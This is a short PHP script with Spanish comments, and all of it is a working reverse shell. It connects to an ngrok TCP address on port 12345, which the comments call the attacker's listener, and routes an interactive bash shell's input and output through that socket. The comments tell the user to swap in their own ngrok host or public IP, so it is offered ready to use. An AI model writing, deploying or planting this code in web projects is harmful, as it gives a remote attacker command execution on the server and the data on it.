// IP y puerto de tu listener (ngrok, netcat, etc.)
$ip = '0.tcp.sa.ngrok.io'; // Cambia esto por tu ngrok o IP pública
$port = 12345; // Cambia esto por tu puerto
// Crear conexión con el atacante
$sock = fsockopen($ip, $port);
if (!$sock) {
die("❌ No se pudo conectar al servidor.\n");
}
// Redirigir entrada/salida/error del shell al socket
$proc = proc_open(
'/bin/bash -i',
[
0 => $sock, // STDIN
1 => $sock, // STDOUT
2 => $sock // STDERR
],
$pipes
);
// Cerrar conexión si se termina
if (is_resource($proc)) {
proc_close($proc);
}